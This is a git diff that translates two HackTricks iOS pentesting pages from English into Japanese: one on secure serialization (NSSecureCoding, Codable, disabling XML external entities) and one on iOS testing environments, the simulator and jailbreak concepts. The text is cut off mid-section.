☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-### NSCoding and NSSecureCoding - -iOS comes with two protocols for object **serialisation** for Objective-C or `NSObject`s: **`NSCoding`** and **`NSSecureCoding`**. When a **class conforms** to either of the protocols, the data is serialized to **`NSData`**: a wrapper for **byte buffers**. Note that `Data` in Swift is the same as `NSData` or its mutable counterpart: `NSMutableData`. The `NSCoding` protocol declares the two methods that must be implemented in order to encode/decode its instance-variables. **A class using `NSCoding` needs to implement `NSObject` or be annotated as an @objc class**. The `NSCoding` protocol requires to implement encode and init as shown below. +### NSCodingとNSSecureCoding +iOSには、Objective-Cまたは`NSObject`のためのオブジェクト**シリアライゼーション**のための2つのプロトコルがあります:**`NSCoding`**と**`NSSecureCoding`**。クラスがいずれかのプロトコルに準拠すると、データは**`NSData`**にシリアライズされます:バイトバッファのラッパーです。Swiftの`Data`は`NSData`またはその可変対応である`NSMutableData`と同じです。`NSCoding`プロトコルは、インスタンス変数をエンコード/デコードするために実装する必要がある2つのメソッドを宣言します。**`NSCoding`を使用するクラスは、`NSObject`を実装するか、@objcクラスとして注釈を付ける必要があります**。以下に示すように、`NSCoding`プロトコルではエンコードとイニシャライズの実装が必要です。 ```swift class CustomPoint: NSObject, NSCoding { - //required by NSCoding: - func encode(with aCoder: NSCoder) { - aCoder.encode(x, forKey: "x") - aCoder.encode(name, forKey: "name") - } +//required by NSCoding: +func encode(with aCoder: NSCoder) { +aCoder.encode(x, forKey: "x") +aCoder.encode(name, forKey: "name") +} - var x: Double = 0.0 - var name: String = "" +var x: Double = 0.0 +var name: String = "" - init(x: Double, name: String) { - self.x = x - self.name = name - } +init(x: Double, name: String) { +self.x = x +self.name = name +} - // required by NSCoding: initialize members using a decoder. - required convenience init?(coder aDecoder: NSCoder) { - guard let name = aDecoder.decodeObject(forKey: "name") as? String - else {return nil} - self.init(x:aDecoder.decodeDouble(forKey:"x"), - name:name) - } +// required by NSCoding: initialize members using a decoder. +required convenience init?(coder aDecoder: NSCoder) { +guard let name = aDecoder.decodeObject(forKey: "name") as? String +else {return nil} +self.init(x:aDecoder.decodeDouble(forKey:"x"), +name:name) +} - //getters/setters/etc. +//getters/setters/etc. } ``` - -The issue with `NSCoding` is that the object is often already **constructed and inserted before you can evaluate** the class-type. This **allows an attacker to easily inject all sorts of data**. Therefore, the **`NSSecureCoding`** protocol has been introduced. When conforming to [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding) you need to include: - +`NSCoding`に関する問題は、オブジェクトがしばしば**クラスタイプを評価する前に既に構築および挿入されている**ことです。これにより、攻撃者は簡単にさまざまなデータを注入することができます。そのため、**`NSSecureCoding`**プロトコルが導入されました。[`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding)に準拠する場合、以下を含める必要があります: ```swift static var supportsSecureCoding: Bool { - return true +return true } ``` - -when `init(coder:)` is part of the class. Next, when decoding the object, a check should be made, e.g.: - +`init(coder:)`がクラスの一部である場合、オブジェクトをデコードする際には、次のようなチェックを行う必要があります。 ```swift let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey") ``` +`NSSecureCoding`への適合は、インスタンス化されるオブジェクトが予想されているものであることを保証します。ただし、データに対しては**追加の整合性チェックは行われず**、データは暗号化されません。したがって、秘密データは追加の**暗号化**が必要であり、整合性を保護する必要があるデータは追加のHMACを取得する必要があります。 -The conformance to `NSSecureCoding` ensures that objects being instantiated are indeed the ones that were expected. However, there are **no additional integrity checks done** over the data and the data is not encrypted. Therefore, any secret data needs additional **encryption** and data of which the integrity must be protected, should get an additional HMAC. - -### Object Archiving with NSKeyedArchiver - -`NSKeyedArchiver` is a concrete subclass of `NSCoder` and provides a way to encode objects and store them in a file. The `NSKeyedUnarchiver` decodes the data and recreates the original data. Let's take the example of the `NSCoding` section and now archive and unarchive them: +### NSKeyedArchiverを使用したオブジェクトのアーカイブ +`NSKeyedArchiver`は、オブジェクトをエンコードしてファイルに保存するための`NSCoder`の具象サブクラスです。`NSKeyedUnarchiver`はデータをデコードし、元のデータを再作成します。`NSCoding`セクションの例を取り上げて、これらをアーカイブしてアンアーカイブしましょう。 ```swift // archiving: NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive") // unarchiving: guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? - CustomPoint else { return nil } +CustomPoint else { return nil } ``` - -You can also save the info in primary plist `NSUserDefaults`: - +主要なplist `NSUserDefaults`に情報を保存することもできます。 ```swift // archiving: let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint) @@ -90,51 +79,45 @@ NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint") // unarchiving: if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData { - let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data) +let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data) } ``` - ### Codable -It is a combination of the `Decodable` and `Encodable` protocols. A `String`, `Int`, `Double`, `Date`, `Data` and `URL` are `Codable` by nature: meaning they can easily be encoded and decoded without any additional work. Let's take the following example: - +`Codable`は`Decodable`と`Encodable`プロトコルの組み合わせです。`String`、`Int`、`Double`、`Date`、`Data`、`URL`は自然に`Codable`であり、追加の作業なしで簡単にエンコードおよびデコードすることができます。以下に例を示します: ```swift struct CustomPointStruct:Codable { - var x: Double - var name: String +var x: Double +var name: String } ``` +`Codable`を`CustomPointStruct`の継承リストに追加することで、例の`init(from:)`と`encode(to:)`メソッドが自動的にサポートされます。`Codable`の動作の詳細については、[Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types)を参照してください。 -By adding `Codable` to the inheritance list for the `CustomPointStruct` in the example, the methods `init(from:)` and `encode(to:)` are automatically supported. Fore more details about the workings of `Codable` check [the Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types). - -You can also use codable to save the data in the primary property list `NSUserDefaults`: - +また、`Codable`を使用してデータをプライマリプロパティリスト`NSUserDefaults`に保存することもできます。 ```swift struct CustomPointStruct: Codable { - var point: Double - var name: String - } +var point: Double +var name: String +} - var points: [CustomPointStruct] = [ - CustomPointStruct(point: 1, name: "test"), - CustomPointStruct(point: 2, name: "test"), - CustomPointStruct(point: 3, name: "test"), - ] +var points: [CustomPointStruct] = [ +CustomPointStruct(point: 1, name: "test"), +CustomPointStruct(point: 2, name: "test"), +CustomPointStruct(point: 3, name: "test"), +] - UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points") - if let data = UserDefaults.standard.value(forKey: "points") as? Data { - let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data) - } +UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points") +if let data = UserDefaults.standard.value(forKey: "points") as? Data { +let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data) +} ``` +### JSONエンコーディング -### JSON Encoding - -There are a lot of thrid party libraries to encode data in JSON (like exposed [here](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). However, Apple provides support for JSON encoding/decoding directly by combining `Codable` together with a `JSONEncoder` and a `JSONDecoder`: - +JSONデータをエンコードするためのサードパーティのライブラリ([ここ](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)で紹介されています)はたくさんあります。しかし、Appleは`Codable`を`JSONEncoder`と`JSONDecoder`と組み合わせることで、JSONのエンコードとデコードを直接サポートしています。 ```swift struct CustomPointStruct: Codable { - var point: Double - var name: String +var point: Double +var name: String } let encoder = JSONEncoder() @@ -149,21 +132,19 @@ let stringData = String(data: data, encoding: .utf8) // "name" : "test" // }) ``` - ### XML -There are multiple ways to do XML encoding. Similar to JSON parsing, there are various third party libraries, such as: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash) +XMLエンコーディングには複数の方法があります。JSONパースと同様に、[Fuzi](https://github.com/cezheng/Fuzi)、[Ono](https://github.com/mattt/Ono)、[AEXML](https://github.com/tadija/AEXML)、[RaptureXML](https://github.com/ZaBlanc/RaptureXML)、[SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser)、[SWXMLHash](https://github.com/drmohundro/SWXMLHash)などのさまざまなサードパーティライブラリがあります。 -They vary in terms of speed, memory usage, object persistence and more important: differ in how they handle XML external entities. See [XXE in the Apple iOS Office viewer](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) as an example. Therefore, it is key to disable external entity parsing if possible. See the [OWASP XXE prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) for more details. Next to the libraries, you can make use of Apple's [`XMLParser` class](https://developer.apple.com/documentation/foundation/xmlparser) +これらのライブラリは、速度、メモリ使用量、オブジェクトの永続性などの点で異なりますが、より重要なのは、XML外部エンティティの処理方法が異なることです。例として、[Apple iOSオフィスビューアのXXE](https://nvd.nist.gov/vuln/detail/CVE-2015-3784)を参照してください。したがって、可能な限り外部エンティティのパースを無効にすることが重要です。詳細については、[OWASP XXE防止チートシート](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)を参照してください。これらのライブラリの他に、Appleの[`XMLParser`クラス](https://developer.apple.com/documentation/foundation/xmlparser)を使用することもできます。 -When not using third party libraries, but Apple's `XMLParser`, be sure to let `shouldResolveExternalEntities` return `false`. +サードパーティライブラリではなく、Appleの`XMLParser`を使用する場合は、`shouldResolveExternalEntities`が`false`を返すようにしてください。 {% hint style="danger" %} -All these ways of serialising/encoding data can be **used to store data in the file system**. In those scenarios, check if the stored data contains any kind of **sensitive information**.\ -Moreover, in some cases you may be able to **abuse some serialised** data (capturing it via MitM or modifying it inside the filesystem) deserializing arbitrary data and **making the application perform unexpected actions** (see [Deserialization page](../../pentesting-web/deserialization/)). In these cases, it's recommended to send/save the serialised data encrypted and signed. +これらのデータのシリアル化/エンコード方法は、データをファイルシステムに保存するために使用できます。このようなシナリオでは、保存されたデータに**機密情報**が含まれていないかどうかを確認してください。さらに、一部の場合では、シリアル化されたデータを悪用することができます(MitM経由でキャプチャしたり、ファイルシステム内で変更したりして任意のデータをデシリアライズし、アプリケーションに予期しない動作をさせることができます)(詳細は[デシリアライゼーションページ](../../pentesting-web/deserialization/)を参照)。このような場合は、シリアル化されたデータを暗号化して署名付きで送信/保存することを推奨します。 {% endhint %} -## References +## 参考文献 {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} @@ -173,16 +154,14 @@ Moreover, in some cases you may be able to **abuse some serialised** data (captu ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 7b5211ab5..e6e9d2fed 100644 --- a/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -1,179 +1,155 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
# Apple Developer Program -A **provisioning identity** is a collection of public and private keys that are associated an Apple developer account. In order to **sign apps** you need to pay **99$/year** to register in the **Apple Developer Program** to get your provisioning identity. Without this you won't be able to run applications from the source code in a physical device. Another option to do this is to use a **jailbroken device**. +**プロビジョニングID**は、Appleの開発者アカウントに関連付けられた公開鍵と秘密鍵のコレクションです。アプリに署名するためには、**Apple Developer Program**に登録して**99ドル/年**を支払い、プロビジョニングIDを取得する必要があります。これがないと、ソースコードからアプリケーションを物理デバイスで実行することはできません。別のオプションとして、**脱獄されたデバイス**を使用することもできます。 -Starting in Xcode 7.2 Apple has provided an option to create a **free iOS development provisioning profile** that allows to write and test your application on a real iPhone. Go to _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Add new Appli ID you your credentials) --> _Click on the Apple ID created_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ -__Then, in order to run your application in your iPhone you need first to **indicate the iPhone to trust the computer.** Then, you can try to **run the application in the mobile from Xcode,** but and error will appear. So go to _Settings_ --> _General_ --> _Profiles and Device Management_ --> Select the untrusted profile and click "**Trust**". +Xcode 7.2以降、Appleは**無料のiOS開発プロビジョニングプロファイル**の作成オプションを提供しています。これにより、実際のiPhoneでアプリケーションを書き込みテストすることができます。_Xcode_ --> _Preferences_ --> _Accounts_ --> _+_(新しいAppli IDを追加) --> _作成したApple IDをクリック_ --> _Manage Certificates_ --> _+_(Apple Development) --> _Done_に移動します。\ +__次に、iPhoneでアプリケーションを実行するためには、まず**iPhoneがコンピュータを信頼するように指示する必要があります**。その後、Xcodeからモバイルでアプリケーションを実行しようとすることができますが、エラーが表示されます。そのため、_Settings_ --> _General_ --> _Profiles and Device Management_ --> 信頼されていないプロファイルを選択し、「**Trust**」をクリックします。 -Note that **applications signed by the same signing certificate can share resources on a secure manner, like keychain items**. +同じ署名証明書で署名されたアプリケーションは、キーチェーンアイテムなどのリソースを安全な方法で共有することができます。 -The provisioning profiles are stored inside the phone in **`/Library/MobileDevice/ProvisioningProfiles`** +プロビジョニングプロファイルは、電話内の**`/Library/MobileDevice/ProvisioningProfiles`**に保存されます。 -# **Simulator** +# **シミュレータ** {% hint style="info" %} -Note that a **simulator isn't the same as en emulator**. The simulator just simulates the behaviour of the device and functions but don't actually use them. +シミュレータは**エミュレータと同じではありません**。シミュレータはデバイスの振る舞いと機能をシミュレートしますが、実際には使用しません。 {% endhint %} -**T**he iOS SDK simulator offers a higher-level _simulation_ of an iOS device. Most importantly, emulator binaries are compiled to x86 code instead of ARM code. Apps compiled for a real device don't run, making the simulator useless for black box analysis and reverse engineering. +**iOS SDKシミュレータ**は、iOSデバイスのより高レベルな_シミュレーション_を提供します。最も重要なことは、エミュレータのバイナリはARMコードではなくx86コードにコンパイルされます。実際のデバイス向けにコンパイルされたアプリは実行されないため、シミュレータはブラックボックス分析やリバースエンジニアリングには役立ちません。 -## **Simulator** +## **シミュレータ** -The first thing you need to know is that **performing a pentest inside a simulator will much more limited than doing it in a jailbroken device**. +最初に知っておく必要があることは、**シミュレータ内でのペンテストは、脱獄されたデバイスで行うよりも制限が多い**ということです。 -All the tools required to build and support an iOS app are **only officially supported on Mac OS**.\ -Apple's de facto tool for creating/debugging/instrumenting iOS applications is **Xcode**. It can be used to download other components such as **simulators** and different **SDK** **versions** required to build and **test** your app.\ -It's highly recommended to **download** Xcode from the **official app store**. Other versions may be carrying malware. +iOSアプリをビルドおよびサポートするために必要なすべてのツールは、**公式にはMac OSのみでサポートされています**。\ +AppleのデファクトツールであるXcodeは、iOSアプリケーションの作成/デバッグ/インストゥルメンテーションに使用できます。他のコンポーネント(シミュレータやさまざまなSDKバージョンなど)をダウンロードすることもできます。\ +**公式のアプリストア**からXcodeをダウンロードすることを強くお勧めします。他のバージョンにはマルウェアが含まれている可能性があります。 -The simulator files can be found in `/Users//Library/Developer/CoreSimulator/Devices` +シミュレータのファイルは`/Users//Library/Developer/CoreSimulator/Devices`にあります。 -To open the simulator, run Xcode, then press in the _Xcode tab_ --> _Open Developer tools_ --> _Simulator_\ -__In the following image clicking in "iPod touch \[...]" you can select other device to test in: +シミュレータを開くには、Xcodeを実行し、_Xcodeタブ_を押して _Open Developer tools_ --> _Simulator_をクリックします。\ +__次の画像で「iPod touch \[...]」をクリックすると、他のデバイスを選択できます。 ![](<../../.gitbook/assets/image (457).png>) ![](<../../.gitbook/assets/image (458).png>) -## Applications in the Simulator - -Inside `/Users//Library/Developer/CoreSimulator/Devices` you may find all the **installed simulators**. If you want to access the files of an application created inside one of the emulators it might be difficult to know **in which one the app is installed**. A quick way to **find the correct UID** is to execute the app in the simulator and execute: +## シミュレータ内のアプリケーション +`/Users//Library/Developer/CoreSimulator/Devices`内には、**インストールされたシミュレータ**がすべて表示されます。エミュレータの中に作成されたアプリケーションのファイルにアクセスしたい場合、**どのエミュレータにアプリがインストールされているか**を知るのは困難かもしれません。正しいUIDを見つけるためのクイックな方法は、シミュレータでアプリを実行し、次のコマンドを実行することです: ```bash xcrun simctl list | grep Booted - iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) +iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) ``` +UIDがわかったら、それにインストールされているアプリは`/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application`に見つけることができます。 -Once you know the UID the apps installed within it can be found in `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` +しかし、驚くべきことに、ここにアプリは見つかりません。`/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`にアクセスする必要があります。 -However, surprisingly you won't find the application here. You need to access `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` +そして、このフォルダには**アプリのパッケージが見つかります**。 -And in this folder you can **find the package of the application.** +# エミュレータ -# Emulator +Corelliumは唯一の一般公開されているiOSエミュレータです。これはパーユーザーライセンスモデルを採用したエンタープライズSaaSソリューションであり、トライアルライセンスは提供されていません。 -Corellium is the only publicly available iOS emulator. It is an enterprise SaaS solution with a per user license model and does not offer any trial license. +# ジェイルブレイク -# Jailbeaking - -Apple strictly requires that the code running on the iPhone must be **signed by a certificate issued by Apple**. **Jailbreaking** is the process of actively **circumventing such restrictions** and other security controls put in places by the OS. Therefore, once the device is jailbroken, the **integrity check** which is responsible for checking apps being installed is patched so it is **bypassed**. +AppleはiPhoneで実行されるコードが**Appleによって発行された証明書で署名されている**ことを厳密に要求しています。**ジェイルブレイク**は、OSによって設定されたこれらの制限や他のセキュリティ制御を積極的に**回避するプロセス**です。したがって、デバイスがジェイルブレイクされると、インストールされるアプリをチェックする責任がある**整合性チェック**がパッチされ、**バイパス**されます。 {% hint style="info" %} -Unlike Android, **you cannot switch to "Developer Mode"** in iOS to run unsigned/untrusted code on the device. +Androidとは異なり、iOSでは「デベロッパーモード」に切り替えて未署名/信頼できないコードをデバイス上で実行することはできません。 {% endhint %} -## Root in Android Comparison +## AndroidのRootとの比較 -iOS jailbreaking is often **compared to Android rooting**, but the process is actually quite **different**. To explain the difference, we'll first review the concepts of "rooting" and "flashing" on Android. +iOSのジェイルブレイクは、しばしばAndroidのルート化と比較されますが、プロセスは実際にはかなり**異なります**。違いを説明するために、まずAndroidの「ルート化」と「フラッシング」の概念を見直してみましょう。 -* **Rooting**: This typically involves installing the `su` binary on the system or replacing the whole system with a rooted custom ROM. Exploits aren't required to obtain root access as long as the bootloader is accessible. -* **Flashing custom ROMs**: This allows you to replace the OS that's running on the device after you unlock the bootloader. The bootloader may require an exploit to unlock it. +* **ルート化**: これは通常、システムに`su`バイナリをインストールするか、ルート化されたカスタムROMでシステム全体を置き換えることを含みます。ブートローダーにアクセスできる限り、ルートアクセスを取得するためにはエクスプロイトは必要ありません。 +* **カスタムROMのフラッシュ**: ブートローダーをアンロックした後、デバイス上で実行されているOSを置き換えることができます。ブートローダーをアンロックするためにはエクスプロイトが必要な場合があります。 -**On iOS devices, flashing a custom ROM is impossible** because the iOS bootloader **only allows Apple-signed images** to be booted and flashed. This is why even **official iOS images can't be installed if they aren't signed by Apple, and it makes iOS downgrades only possible for as long as the previous iOS version is still signed.** +**iOSデバイスでは、カスタムROMのフラッシュは不可能**です。なぜなら、iOSブートローダーは**Appleによって署名されたイメージのみ**をブートおよびフラッシュすることを許可しているからです。これが、**Appleによって署名されていない場合、公式のiOSイメージもインストールできない**理由であり、iOSのダウングレードは前のiOSバージョンがまだ署名されている限りのみ可能です。 -The purpose of jailbreaking is to **disable iOS protections** (Apple's code signing mechanisms in particular) so that **arbitrary unsigned code can run on the device** (e.g. custom code or downloaded from alternative app stores such as Cydia or Sileo). The word "jailbreak" is a colloquial reference to all-in-one tools that automate the disabling process. +ジェイルブレイクの目的は、iOSの保護機能(特にAppleのコード署名メカニズム)を**無効にすること**です。これにより、デバイス上で**任意の未署名コードが実行**できるようになります(カスタムコードやCydiaやSileoなどの代替アプリストアからダウンロードしたコードなど)。"ジェイルブレイク"という言葉は、無効化プロセスを自動化するオールインワンツールを指す口語的な表現です。 -## Jailbreaking Considerations +## ジェイルブレイクの考慮事項 -Jailbreaking an iOS device is becoming more and more **complicated** because Apple keeps hardening the system and patching the exploited vulnerabilities. Jailbreaking has become a very time-sensitive procedure because **Apple stops signing these vulnerable versions relatively soon after releasing a fix** (unless the jailbreak benefits from hardware-based vulnerabilities, such as the [limera1n exploit](https://www.theiphonewiki.com/wiki/Limera1n) affecting the BootROM of the iPhone 4 and iPad 1). This means that **you can't downgrade to a specific iOS version once Apple stops signing the firmware**. +iOSデバイスのジェイルブレイクは、Appleがシステムを強化し、エクスプロイトされた脆弱性を修正するため、ますます**複雑**になっています。ジェイルブレイクは非常に時間的に敏感な手順になっており、Appleが脆弱なバージョンの署名を比較的早く停止するためです(iPhone 4とiPad 1のBootROMに影響を与える[limera1nエクスプロイト](https://www.theiphonewiki.com/wiki/Limera1n)などのハードウェアベースの脆弱性を利用する場合を除く)。これは、Appleがファームウェアの署名を停止した後、特定のiOSバージョンにダウングレードできないことを意味します。 -If you have a jailbroken device that you use for security testing, **keep it** as is unless you're 100% sure that you can re-jailbreak it after upgrading to the latest iOS version. +セキュリティテストに使用するジェイルブレイクされたデバイスがある場合は、最新のiOSバージョンにアップグレードした後も再ジェイルブレイクできることが100%確実でない限り、そのままにしておいてください。 -iOS upgrades are based on a challenge-response process (generating the so-called SHSH blobs as a result). The device will allow the OS installation only if the response to the challenge is signed by Apple. This is what researchers call a "signing window", and it is the reason **you can't simply store the OTA firmware package you downloaded and load it onto the device whenever you want to**. During minor iOS upgrades, two versions may both be signed by Apple (the latest one, and the previous iOS version). This is the only situation in which you can downgrade the iOS device. You can c**heck the current signing window and download OTA firmware from the** [**IPSW Downloads website**](https://ipsw.me). +iOSのアップグレードは、チャレンジ-レスポンスプロセス(いわゆるSHSHブロブを生成するプロセス)に基づいています。デバイスは、チャレンジに対する応答がAppleによって署名されている場合にのみOSのインストールを許可します。これが研究者が「署名ウィンドウ」と呼ぶものであり、**ダウンロードしたOTAファームウェアパッケージを単純に保存してデバイスにロードすることはできません**。マイナーなiOSのアップグレードでは、2つのバージョンがAppleによって署名される場合があります(最新バージョンと前のiOSバージョン)。これは、iOSデバイスをダウングレードできる唯一の状況です。現在の署名ウィンドウを確認し、OTAファームウェアをダウンロードすることができます。[IPSW Downloadsのウェブサイト](https://ipsw.me)から。 {% hint style="danger" %} -**Updating the OS removes the effect of jailbreaking.** +**OSを更新すると、ジェイルブレイクの効果が失われます。** {% endhint %} -## Jailbreak Types +## ジェイルブレイクの種類 -* **Tethered** **jailbreaks** don't persist through reboots, so re-applying jailbreaks requires the device to be connected (tethered) to a computer during every reboot. The device may not reboot at all if the computer is not connected. -* **Semi-tethered jailbreaks** can't be re-applied unless 